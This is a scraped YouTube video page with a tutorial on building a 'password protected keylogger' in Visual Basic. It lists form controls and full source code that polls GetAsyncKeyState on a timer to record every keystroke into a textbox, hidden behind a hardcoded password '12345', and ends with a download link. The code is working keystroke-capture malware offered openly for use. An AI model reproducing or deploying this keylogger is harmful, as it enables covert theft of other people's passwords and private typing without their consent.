Loading...

How to create a password protected Keylogger [Visual Studio]

6,111 views

Loading...

Loading...

Loading...

Rating is available when the video has been rented.
This feature is not available right now. Please try again later.
Published on Jan 2, 2011

Hey everyone today am going to show u how to create a password protected keylogger using visual basic !

Stuff to add:
-Buttons x3
-Timer x1
-Textbox x1


Properties:
Form 1 - Change the text to Keylogger (OR anything u want)
Button 1 - Change the text to "Lock \ Stop"
Button 2 - Change the text to "Unlock \ Start"
Button 3 - Change the text to "clear"
Textbox 1 - Backcolor = Black
Textbox 1 - Forecolor = White
Textbox 1 - Readonly = True
Textbox 1 - Multiline = True
Timer 1 - Enabled = True
Timer 1 - Interval = 2

Codes that i used :

Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Visible = False MsgBox("Keylogger is Locked") End Sub Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Dim Password As String Password = InputBox(" Enter The password please ") If Password = 12345 Then TextBox1.Visible = True MsgBox("Password accepted") Else TextBox1.Visible = False MsgBox("Incorrect password") End If End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click TextBox1.Text = Nothing End Sub
End Class



Download link :
http://www.mediafire.com/?dvyw3abaca4...


Thank u for watching
Dont Forget to subscribe To my channel

Loading...

to add this to Watch Later

Add to

Loading playlists...